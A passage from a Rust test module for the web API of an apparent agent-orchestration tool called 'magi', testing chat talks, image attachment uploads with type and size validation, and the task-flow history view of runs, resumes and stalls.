15989    /// between one busy talk and a globally locked Chat surface.
15990    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15991
15992    #[tokio::test]
15993    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15994        let tmp = TempDir::new().expect("tempdir");
15995        let repo = tmp.path().join("repo");
15996        std::fs::create_dir_all(&repo).expect("repo dir");
15997        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15998        let f = Fixture::with_repo(repo).await;
15999        let id_a = f.post("/api/talks", None).await.json()["id"]
16000            .as_str()
16001            .unwrap()
16002            .to_owned();
16003        let id_b = f.post("/api/talks", None).await.json()["id"]
16004            .as_str()
16005            .unwrap()
16006            .to_owned();
16007
16008        let a = f
16009            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16010            .await;
16011        assert_eq!(a.status, 202, "{}", a.body);
16012        assert_eq!(a.json()["thinking"], true);
16013        let b = f
16014            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16015            .await;
16016        assert_eq!(b.status, 202, "{}", b.body);
16017        assert_eq!(b.json()["thinking"], true);
16018
16019        let listed = f.get("/api/talks").await.json();
16020        for id in [&id_a, &id_b] {
16021            let view = listed
16022                .as_array()
16023                .unwrap()
16024                .iter()
16025                .find(|talk| talk["id"] == *id)
16026                .unwrap();
16027            assert_eq!(view["thinking"], true, "{listed}");
16028        }
16029        let repeated = f
16030            .post(
16031                &format!("/api/talks/{id_a}/say"),
16032                Some(r#"{"text":"again"}"#),
16033            )
16034            .await;
16035        assert_eq!(repeated.status, 202, "{}", repeated.body);
16036        assert_eq!(repeated.json()["pending"], "again");
16037    }
16038
16039    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16040    /// few more, since real uploads are never exactly eight bytes.
16041    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16042
16043    #[tokio::test]
16044    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16045        let f = Fixture::start().await;
16046        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16047
16048        let res = f
16049            .post_bytes(
16050                &format!("/api/talks/{id}/attachments"),
16051                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16052                PNG_BYTES,
16053            )
16054            .await;
16055        assert_eq!(res.status, 201, "{}", res.body);
16056        let body = res.json();
16057        assert_eq!(body["name"], "shot.png");
16058        assert_eq!(body["mime"], "image/png");
16059        assert_eq!(body["bytes"], PNG_BYTES.len());
16060        let att_id = body["id"].as_str().expect("id").to_owned();
16061        assert_eq!(
16062            att_id.len(),
16063            32,
16064            "the id must never be a client-suppliable path: {att_id}"
16065        );
16066
16067        let got = f
16068            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16069            .await;
16070        assert_eq!(got.status, 200, "{}", got.body);
16071        assert_eq!(got.header("content-type"), Some("image/png"));
16072        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16073        assert_eq!(got.bytes, PNG_BYTES);
16074    }
16075
16076    #[tokio::test]
16077    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16078        let f = Fixture::start().await;
16079        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16080
16081        // SVG can carry a `<script>`, so it is never on the whitelist even
16082        // though it is a real IANA image type.
16083        let svg = f
16084            .post_bytes(
16085                &format!("/api/talks/{id}/attachments"),
16086                &[("Content-Type", "image/svg+xml")],
16087                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16088            )
16089            .await;
16090        assert!(
16091            (400..500).contains(&svg.status),
16092            "svg must be refused: {} {}",
16093            svg.status,
16094            svg.body
16095        );
16096        assert!(svg.body.contains("SVG"), "{}", svg.body);
16097
16098        let text = f
16099            .post_bytes(
16100                &format!("/api/talks/{id}/attachments"),
16101                &[("Content-Type", "text/plain")],
16102                b"just some text",
16103            )
16104            .await;
16105        assert!(
16106            (400..500).contains(&text.status),
16107            "an unlisted type must be refused: {} {}",
16108            text.status,
16109            text.body
16110        );
16111
16112        // The declared type is a real png, but the size check runs before
16113        // the bytes are even looked at.
16114        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16115        let big = f
16116            .post_bytes(
16117                &format!("/api/talks/{id}/attachments"),
16118                &[("Content-Type", "image/png")],
16119                &oversized,
16120            )
16121            .await;
16122        assert_eq!(
16123            big.status,
16124            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16125            "{}",
16126            big.body
16127        );
16128    }
16129
16130    #[tokio::test]
16131    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16132        let f = Fixture::start().await;
16133        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16134
16135        // A whitelisted `Content-Type`, but bytes that are not actually a
16136        // png - the declared header alone is never trusted.
16137        let res = f
16138            .post_bytes(
16139                &format!("/api/talks/{id}/attachments"),
16140                &[("Content-Type", "image/png")],
16141                b"<html>not a picture</html>",
16142            )
16143            .await;
16144        assert!((400..500).contains(&res.status), "{}", res.body);
16145    }
16146
16147    #[tokio::test]
16148    async fn an_unknown_attachment_id_is_a_404() {
16149        let f = Fixture::start().await;
16150        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16151
16152        let res = f
16153            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16154            .await;
16155        assert_eq!(res.status, 404, "{}", res.body);
16156    }
16157
16158    #[tokio::test]
16159    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16160        let f = Fixture::start().await;
16161        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16162
16163        let uploaded = f
16164            .post_bytes(
16165                &format!("/api/talks/{id}/attachments"),
16166                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16167                PNG_BYTES,
16168            )
16169            .await;
16170        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16171        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16172
16173        let res = f
16174            .post(
16175                &format!("/api/talks/{id}/say"),
16176                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16177            )
16178            .await;
16179        assert_eq!(res.status, 202, "{}", res.body);
16180        let queued = res.json();
16181        let turns = queued["turns"].as_array().expect("turns array");
16182        assert_eq!(
16183            turns.len(),
16184            1,
16185            "an empty body with an attachment is still a turn: {queued}"
16186        );
16187        assert_eq!(turns[0]["who"], "operator");
16188        assert_eq!(turns[0]["body"], "");
16189        let atts = turns[0]["attachments"]
16190            .as_array()
16191            .expect("attachments array");
16192        assert_eq!(atts.len(), 1);
16193        assert_eq!(atts[0]["id"], att_id);
16194        assert_eq!(atts[0]["mime"], "image/png");
16195
16196        // Not only in the response: `record` flushes to disk before the
16197        // agent's own turn is even spawned.
16198        let on_disk = f.talks().get(&id).expect("get");
16199        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16200        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16201    }
16202
16203    #[tokio::test]
16204    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16205        let f = Fixture::start().await;
16206        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16207
16208        let res = f
16209            .post(
16210                &format!("/api/talks/{id}/say"),
16211                Some(&format!(
16212                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16213                    "a".repeat(32)
16214                )),
16215            )
16216            .await;
16217        assert!((400..500).contains(&res.status), "{}", res.body);
16218        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16219
16220        let on_disk = f.talks().get(&id).expect("get");
16221        assert!(
16222            on_disk.turns.is_empty(),
16223            "a rejected attachment id must not partially record the turn: {:?}",
16224            on_disk.turns
16225        );
16226    }
16227
16228    #[tokio::test]
16229    async fn talk_close_makes_the_talk_refuse_further_turns() {
16230        let f = Fixture::start().await;
16231        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16232
16233        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16234        assert_eq!(closed.status, 200, "{}", closed.body);
16235        assert_eq!(closed.json()["status"], "closed");
16236
16237        // Idempotent: closing an already-closed talk is not an error.
16238        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16239        assert_eq!(closed_again.status, 200);
16240        assert_eq!(closed_again.json()["status"], "closed");
16241
16242        let said = f
16243            .post(
16244                &format!("/api/talks/{id}/say"),
16245                Some(r#"{"text":"too late"}"#),
16246            )
16247            .await;
16248        assert_eq!(said.status, 409, "{}", said.body);
16249    }
16250
16251    #[tokio::test]
16252    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16253        let (_tmp, _repo, f) = talk_fixture().await;
16254        let id = f.post("/api/talks", None).await.json()["id"]
16255            .as_str()
16256            .expect("id")
16257            .to_owned();
16258        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16259        assert_eq!(closed.status, 200, "{}", closed.body);
16260
16261        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16262        assert_eq!(reopened.status, 200, "{}", reopened.body);
16263        assert_eq!(reopened.json()["status"], "open");
16264
16265        // Idempotent: reopening an already-open talk is not an error.
16266        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16267        assert_eq!(reopened_again.status, 200);
16268        assert_eq!(reopened_again.json()["status"], "open");
16269
16270        let said = f
16271            .post(
16272                &format!("/api/talks/{id}/say"),
16273                Some(r#"{"text":"still there?"}"#),
16274            )
16275            .await;
16276        assert_eq!(
16277            said.status, 202,
16278            "a reopened talk accepts turns again: {}",
16279            said.body
16280        );
16281    }
16282
16283    #[tokio::test]
16284    async fn talk_reopen_on_an_unknown_id_is_404() {
16285        let f = Fixture::start().await;
16286        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16287        assert_eq!(res.status, 404, "{}", res.body);
16288    }
16289
16290    #[tokio::test]
16291    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16292        let f = Fixture::start().await;
16293        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16294
16295        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16296        assert_eq!(deleted.status, 204, "{}", deleted.body);
16297
16298        let after = f.get(&format!("/api/talks/{id}")).await;
16299        assert_eq!(after.status, 404, "{}", after.body);
16300
16301        let listed = f.get("/api/talks").await.json();
16302        assert!(
16303            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16304            "a deleted talk must not linger in the list: {listed}"
16305        );
16306    }
16307
16308    #[tokio::test]
16309    async fn talk_delete_on_an_unknown_id_is_404() {
16310        let f = Fixture::start().await;
16311        let res = f.delete("/api/talks/nonexistent-id").await;
16312        assert_eq!(res.status, 404, "{}", res.body);
16313    }
16314
16315    /// A task's page lists every run it ever had, in order, and says what kind
16316    /// of attempt each was - including a resume, which re-pushes the same run
16317    /// id, and a run whose record this build cannot read.
16318    #[tokio::test]
16319    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16320        let f = Fixture::start().await;
16321        let (a, b, gone) = (
16322            "20260902-140501-aaaa",
16323            "20260902-140502-bbbb",
16324            "20260902-140503-cccc",
16325        );
16326        write_run(&f.runs(), a, RunStatus::Stalled);
16327        let mut review = RunState::new(
16328            PathBuf::from("/repo/magi"),
16329            "main".to_owned(),
16330            "0123456789abcdef".to_owned(),
16331            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16332                .to_owned(),
16333            Config::default(),
16334        );
16335        review.id = b.to_owned();
16336        review.status = RunStatus::Merged;
16337        write_state(&f.runs(), &review);
16338
16339        let mut task = Task::new(
16340            "retry".to_owned(),
16341            "Do the thing".to_owned(),
16342            PathBuf::from("/repo/magi"),
16343            Source::Human,
16344        );
16345        task.start(a.to_owned());
16346        task.stall("quota");
16347        task.start(a.to_owned());
16348        task.start(b.to_owned());
16349        task.start(gone.to_owned());
16350        // This fixture models an older queue file with repeated run entries.
16351        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16352        f.queue().put(&mut task).expect("file the task");
16353
16354        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16355        assert_eq!(res.status, 200, "{}", res.body);
16356        let v = res.json();
16357        let h = v["history"].as_array().expect("history");
16358        assert_eq!(h.len(), 4, "{v}");
16359        assert_eq!(h[0]["kind"], "competition");
16360        assert_eq!(h[0]["status"], "stalled");
16361        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16362        assert_eq!(h[1]["kind"], "resume", "{v}");
16363        assert!(
16364            h[0]["outcome"]
16365                .as_str()
16366                .unwrap()
16367                .contains("unknown. Pass #2"),
16368            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16369        );
16370        assert!(
16371            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16372            "{v}"
16373        );
16374        assert!(
16375            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16376            "an unrecorded cause must not be narrated as an operator park: {v}"
16377        );
16378        assert_eq!(h[2]["kind"], "review");
16379        assert!(
16380            h[2]["description"]
16381                .as_str()
16382                .unwrap()
16383                .contains("magi/aaaa/A")
16384        );
16385        assert_eq!(h[2]["status"], "merged");
16386        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16387        assert_eq!(v["runs_unreadable"], 1);
16388        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16389        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16390        assert_eq!(nodes[4]["note"], "unreadable");
16391        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16392        assert_eq!(v["instruction"], "Do the thing");
16393        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16394
16395        // The run's own page links back to the task.
16396        let run = f.get(&format!("/api/runs/{a}")).await.json();
16397        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16398
16399        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16400    }
16401
16402    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16403        let mut s = RunState::new(
16404            PathBuf::from("/repo/magi"),
16405            "main".to_owned(),
16406            "0123456789abcdef".to_owned(),
16407            "Do it".to_owned(),
16408            Config::default(),
16409        );
16410        s.status = status;
16411        edit(&mut s);
16412        s
16413    }
16414
16415    fn flow_task(runs: &[&str]) -> Task {
16416        let mut t = Task::new(
16417            "t".to_owned(),
16418            "Do it".to_owned(),
16419            PathBuf::from("/repo/magi"),
16420            Source::Human,
16421        );
16422        for r in runs {
16423            t.start((*r).to_owned());
16424        }
16425        // Synthetic flows without RunPass records model legacy queue data.
16426        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16427        t
16428    }
16429
16430    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16431        let h = task_history(task, |id| {
16432            states
16433                .iter()
16434                .find(|(i, _)| *i == id)
16435                .and_then(|(_, s)| s.clone())
16436        });
16437        task_flow(task, &h, 5, None)
16438    }
16439
16440    #[test]
16441    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16442        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16443        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16444        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16445        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16446        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16447        let run = flow_run(RunStatus::Implementing, |s| {
16448            s.created_at = created;
16449            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16450            s.passes[0].started_at = first;
16451            s.passes[1].started_at = resumed;
16452        });
16453        let mut task = flow_task(&[RUN_X, RUN_X]);
16454        task.created_at = queued;
16455        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16456        task.status = TaskStatus::Held;
16457        task.held_at = Some(held);
16458        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16459        assert_eq!(
16460            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16461            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16462        );
16463        assert!(flow.nodes.iter().all(|n| n.time_expected));
16464        let json = serde_json::to_value(&flow).unwrap();
16465        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16466        assert_eq!(json["nodes"][2]["time_expected"], true);
16467    }
16468
16469    #[test]
16470    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16471        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16472        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16473        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16474        // These timestamps are not the start of the current status.
16475        task.held_at = Some(created);
16476        task.blocked_at = Some(created);
16477        for status in [
16478            TaskStatus::Queued,
16479            TaskStatus::Running,
16480            TaskStatus::Blocked,
16481            TaskStatus::Done,
16482            TaskStatus::Failed,
16483            TaskStatus::Parked,
16484            TaskStatus::Held,
16485        ] {
16486            task.status = status;
16487            if status == TaskStatus::Held {
16488                task.held_at = None;
16489            }
16490            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16491            assert_eq!(flow.nodes[1].started_at, Some(created));
16492            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16493            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16494            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16495            let json = serde_json::to_value(&flow).unwrap();
16496            assert!(json["nodes"][3]["started_at"].is_null());
16497            assert_eq!(json["nodes"][3]["time_expected"], true);
16498        }
16499    }
16500
16501    #[test]
16502    fn flow_context_links_do_not_expect_start_times() {
16503        let mut task = flow_task(&[]);
16504        task.source = Source::Agent {
16505            run: "chat-id".to_owned(),
16506            node: "chat".to_owned(),
16507        };
16508        let origin = followup_origin(&fu(None), |_| None, |_| None);
16509        let flow = task_flow(&task, &[], 5, Some(&origin));
16510        for node in &flow.nodes[..2] {
16511            assert!(!node.time_expected);
16512            assert_eq!(node.started_at, None);
16513        }
16514        assert!(flow.nodes[2].time_expected);
16515    }
16516
16517    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16518        crate::queue::FollowUp {
16519            run: "20260901-000000-aaaa".to_owned(),
16520            origin_task: origin_task.map(str::to_owned),
16521            pr: "https://example.com/o/r/pull/1".to_owned(),
16522            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16523                .map(str::to_owned)
16524                .to_vec(),
16525            generation: 1,
16526        }
16527    }
16528
16529    fn parent_task() -> Task {
16530        let mut p = flow_task(&[]);
16531        p.title = "Parent title".to_owned();
16532        p.status = TaskStatus::Done;
16533        p
16534    }
16535
16536    #[test]
16537    fn flow_opens_with_the_parent_task_of_a_followup() {
16538        let p = parent_task();
16539        let pid = p.id.clone();
16540        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16541        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16542        let n = &f.nodes[0];
16543        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16544        assert_eq!(
16545            n.label,
16546            format!("Follow-up of {}", crate::queue::short(&pid))
16547        );
16548        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16549        assert_eq!(n.status, Some("done"));
16550        assert_eq!(n.status_of, "task");
16551        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16552        assert_eq!(f.nodes[1].key, "start");
16553        assert_eq!(f.edges[0].from, "origin");
16554        assert_eq!(
16555            f.edges[0].label,
16556            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16557        );
16558    }
16559
16560    #[test]
16561    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16562        let o = followup_origin(
16563            &fu(Some("gone")),
16564            |_| None,
16565            |_| {
16566                Some(RunState::new(
16567                    std::path::PathBuf::from("."),
16568                    "main".to_owned(),
16569                    "0".to_owned(),
16570                    "t".to_owned(),
16571                    crate::config::Config::default(),
16572                ))
16573            },
16574        );
16575        assert!(o.parent.is_none());
16576        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16577        let n = &f.nodes[0];
16578        assert_eq!(n.status_of, "run");
16579        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16580        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16581    }
16582
16583    #[test]
16584    fn flow_followup_with_nothing_readable_has_no_link() {
16585        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16586        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16587        let n = &f.nodes[0];
16588        assert_eq!(n.href, None);
16589        assert_eq!(n.note, Some("unreadable"));
16590        assert!(!n.readable);
16591    }
16592
16593    #[test]
16594    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16595        let o = followup_origin(&fu(None), |_| None, |_| None);
16596        let mut t = flow_task(&[]);
16597        t.origin_chat = Some("c1".to_owned());
16598        let f = task_flow(&t, &[], 5, Some(&o));
16599        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16600        t.source = Source::Agent {
16601            run: "c1".to_owned(),
16602            node: crate::queue::CHAT_NODE.to_owned(),
16603        };
16604        let f = task_flow(&t, &[], 5, Some(&o));
16605        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16606        assert_eq!(
16607            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16608            ("chat", "origin")
16609        );
16610    }
16611
16612    #[test]
16613    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16614        let mut p = parent_task();
16615        p.id = "a b/c".to_owned();
16616        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16617        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16618    }
16619
16620    #[test]
16621    fn flow_opens_with_the_chat_that_queued_the_task() {
16622        let mut t = flow_task(&[]);
16623        t.source = Source::Agent {
16624            run: "a b/c".to_owned(),
16625            node: crate::queue::CHAT_NODE.to_owned(),
16626        };
16627        let f = flow_for(&t, &[]);
16628        assert_eq!(f.nodes[0].key, "chat");
16629        assert_eq!(f.nodes[0].kind, "chat");
16630        assert_eq!(
16631            f.nodes[0].label,
16632            format!("Chat {}", crate::queue::short("a b/c"))
16633        );
16634        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16635        assert_eq!(f.nodes[1].key, "start");
16636        assert_eq!(
16637            f.edges[0],
16638            FlowEdge {
16639                from: "chat".to_owned(),
16640                to: "start".to_owned(),
16641                label: "queued from chat".to_owned(),
16642                attempt: AttemptCost::None,
16643            }
16644        );
16645    }
16646
16647    #[test]
16648    fn flow_has_no_chat_box_for_other_sources() {
16649        for source in [
16650            Source::Human,
16651            Source::Issue {
16652                number: 3,
16653                repo: "o/r".to_owned(),
16654            },
16655            Source::Agent {
16656                run: "20260904-014455-ab12".to_owned(),
16657                node: "implement".to_owned(),
16658            },
16659        ] {
16660            let mut t = flow_task(&[]);
16661            t.source = source;
16662            let f = flow_for(&t, &[]);
16663            assert_eq!(f.nodes[0].key, "start");
16664            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16665            assert!(f.edges.iter().all(|e| e.from != "chat"));
16666        }
16667    }
16668
16669    const FA: &str = "20260902-140501-aaaa";
16670    const FB: &str = "20260902-140502-bbbb";
16671
16672    #[test]
16673    fn flow_follows_blocked_retry_merged_to_done() {
16674        let mut t = flow_task(&[FA, FB]);
16675        t.status = TaskStatus::Done;
16676        let f = flow_for(
16677            &t,
16678            &[
16679                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16680                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16681            ],
16682        );
16683        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16684        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16685        assert_eq!(f.edges.len(), 3);
16686        assert_eq!(f.edges[0].label, "claimed");
16687        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16688        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16689        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16690        assert_eq!(
16691            f.nodes[2].href.as_deref(),
16692            Some("#/runs/20260902-140502-bbbb")
16693        );
16694        assert!(f.nodes[2].decided);
16695    }
16696
16697    #[test]
16698    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16699        let quota = || {
16700            flow_run(RunStatus::Stalled, |s| {
16701                s.quota.push(crate::run::QuotaLoss {
16702                    cause: crate::agent::QuotaCause::UsageLimit,
16703                    agent: String::new(),
16704                    seat: "judge-1".to_owned(),
16705                    node: "judge".to_owned(),
16706                    at: Timestamp::now(),
16707                    reset: None,
16708                })
16709            })
16710        };
16711        let mut t = flow_task(&[FA, FA]);
16712        t.status = TaskStatus::Queued;
16713        let f = flow_for(&t, &[(FA, Some(quota()))]);
16714        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16715        assert_eq!(f.nodes[1].note, Some("interrupted"));
16716        assert_eq!(
16717            f.nodes[1].status, None,
16718            "no outcome copied onto an earlier pass"
16719        );
16720        assert_eq!(
16721            f.edges[1].attempt,
16722            AttemptCost::Unknown,
16723            "a resume does not prove the earlier pass was refunded"
16724        );
16725        assert!(f.edges[1].label.contains("resume the same run"));
16726        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16727        assert_eq!(
16728            f.edges[2].label,
16729            "stalled after a resume, refund unknown \u{2192} queued"
16730        );
16731        assert!(!f.nodes[2].decided, "a stall is not a decision");
16732        assert_eq!(f.nodes[2].note, Some("no verdict"));
16733    }
16734
16735    #[test]
16736    fn flow_single_pass_quota_stall_is_refunded() {
16737        let t = flow_task(&[FA]);
16738        let f = flow_for(
16739            &t,
16740            &[(
16741                FA,
16742                Some(flow_run(RunStatus::Stalled, |s| {
16743                    s.quota.push(crate::run::QuotaLoss {
16744                        cause: crate::agent::QuotaCause::UsageLimit,
16745                        agent: String::new(),
16746                        seat: "judge-1".to_owned(),
16747                        node: "judge".to_owned(),
16748                        at: Timestamp::now(),
16749                        reset: None,
16750                    })
16751                })),
16752            )],
16753        );
16754        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16755    }
16756
16757    #[test]
16758    fn flow_parked_refunds_and_stall_without_quota_spends() {
16759        let mut t = flow_task(&[FA]);
16760        t.status = TaskStatus::Queued;
16761        let f = flow_for(
16762            &t,
16763            &[(
16764                FA,
16765                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16766            )],
16767        );
16768        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16769        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16770        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16771        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16772        assert!(!f.nodes[1].decided);
16773    }
16774
16775    #[test]
16776    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16777        let t = flow_task(&[FA, FB]);
16778        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16779        assert_eq!(f.nodes[1].note, Some("unreadable"));
16780        assert!(!f.nodes[1].readable);
16781        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16782        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16783    }
16784
16785    #[test]
16786    fn flow_names_the_branch_of_a_review_only_run() {
16787        let t = flow_task(&[FA]);
16788        let f = flow_for(
16789            &t,
16790            &[(
16791                FA,
16792                Some(flow_run(RunStatus::Merged, |s| {
16793                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16794                })),
16795            )],
16796        );
16797        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16798        assert_eq!(
16799            f.nodes[1].detail.as_deref(),
16800            Some("review-only run of branch magi/x/A")
16801        );
16802    }
16803
16804    #[test]
16805    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16806        let mut t = flow_task(&[FA]);
16807        t.status = TaskStatus::Held;
16808        let pr = crate::run::PrRecord {
16809            url: "https://example.test/pr/1".to_owned(),
16810            number: 1,
16811            state: "open".to_owned(),
16812            checks: "green".to_owned(),
16813            round: 0,
16814            rounds: 3,
16815            red_at_merge: Vec::new(),
16816        };
16817        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16818        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16819        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16820        t.status = TaskStatus::Done;
16821        let f = flow_for(&t, &[(FA, Some(blocked))]);
16822        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16823    }
16824
16825    #[test]
16826    fn flow_with_no_runs_goes_from_queued_to_queued() {
16827        let t = flow_task(&[]);
16828        let f = flow_for(&t, &[]);
16829        assert_eq!(f.nodes.len(), 2);
16830        assert_eq!(f.edges.len(), 1);
16831        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16832        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16833    }
16834
16835    /// A run parked mid-flight keeps a non-terminal status; the page must
16836    /// still say why it stopped and that the attempt came back.
16837    #[test]
16838    fn a_parked_non_terminal_run_is_explained_as_parked() {
16839        let mut s = RunState::new(
16840            PathBuf::from("/repo/magi"),
16841            "main".to_owned(),
16842            "0123456789abcdef".to_owned(),
16843            "Do it".to_owned(),
16844            Config::default(),
16845        );
16846        s.status = RunStatus::Implementing;
16847        s.parked = true;
16848        let task = Task::new(
16849            "t".to_owned(),
16850            "Do it".to_owned(),
16851            PathBuf::from("/repo/magi"),
